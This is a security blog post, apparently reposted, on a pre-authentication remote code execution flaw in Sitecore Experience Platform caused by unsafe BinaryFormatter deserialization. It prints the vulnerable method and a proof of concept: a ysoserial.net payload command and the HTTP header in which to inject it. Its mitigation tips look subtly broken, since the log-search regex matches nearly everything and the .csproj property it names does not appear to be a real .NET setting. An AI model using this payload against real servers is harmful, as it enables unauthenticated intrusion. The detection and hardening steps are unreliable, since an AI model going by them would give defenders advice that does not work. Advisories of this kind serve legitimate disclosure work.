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Assetnote, now part of Searchlight Cyber, has identified a zero-day Remote Code Execution (RCE) vulnerability in Sitecore Experience Platform (CVE-2025-27218). This flaw arises due to unsafe deserialization and can be exploited pre-authentication in the default configuration.
🔍 Overview of the Vulnerability
- Affected Software: Sitecore Experience Platform (v10.4)
- Vulnerability Type: Unsafe Deserialization → RCE
- Exploitation Prerequisite: No authentication required
- Root Cause: Misuse of BinaryFormatter for deserialization
- Impact: Remote attackers can execute arbitrary commands on the affected system
🛠 Technical Breakdown
The vulnerable function `Convert.Base64ToObject` directly deserializes user-controlled Base64-encoded data:
public static object Base64ToObject(string data)
{
Error.AssertString(data, "data", allowEmpty: true);
if (data.Length > 0)
{
try
{
byte[] buffer = System.Convert.FromBase64String(data);
BinaryFormatter binaryFormatter = new BinaryFormatter();
MemoryStream serializationStream = new MemoryStream(buffer);
return binaryFormatter.Deserialize(serializationStream);
}
catch (Exception exception)
{
Log.Error("Error converting data to base64.", exception, typeof(Convert));
}
}
return null;
}
This function is used in MachineKeyTokenService.IsTokenValid, which is further invoked by AuthenticateThumbnailsRequest, a part of Sitecore’s HTTP processing pipeline. This leads to unauthenticated remote code execution when an attacker sends a specially crafted payload.
💥 **Proof of Concept (PoC)**
An attacker can generate an exploit using `ysoserial.net`:
ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "whoami > C:\inetpub\wwwroot\pwned.txt"
Then, inject the payload into the `ThumbnailsAccessToken` HTTP header:
GET / HTTP/1.1 Host: vulnerable-sitecore.com ThumbnailsAccessToken: [Base64-Encoded-Payload]
🚨 Mitigation & Recommendations
- Upgrade Sitecore: Apply the security patch released by Sitecore.
- Disable BinaryFormatter: Microsoft recommends avoiding BinaryFormatter due to its inherent security risks.
- Input Validation: Ensure proper validation of serialized input before deserialization.
- Web Application Firewall (WAF): Use a WAF to block exploitation attempts.
- Monitor Logs: Check for suspicious Base64 payloads in logs.
You Should Know:
- Linux Command to Check for Suspicious Base64 Payloads in Logs:
grep -iE '([A-Za-z0-9+/]{4})*([A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{2}==)?' /var/log/apache2/access.log - Windows Command to Monitor Logs for Exploitation Attempts:
Get-EventLog -LogName Security | Where-Object { $_.Message -match "Base64" } - Disable BinaryFormatter in .NET Applications:
Add the following to your `.csproj` file:
<PropertyGroup> <DisableBinSerialization>true</DisableBinSerialization> </PropertyGroup>
**What Undercode Say:**
This vulnerability highlights the critical importance of secure coding practices, especially in enterprise applications. Developers must avoid unsafe deserialization methods like `BinaryFormatter` and implement robust input validation. Regularly updating software and monitoring logs for suspicious activity are essential steps in mitigating such risks. For further reading, refer to Sitecore’s Security Advisory and Microsoft’s Guidance on BinaryFormatter.
Stay vigilant and keep your systems secure! 🔐
References:
Reported By: Z0enix Hacking – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
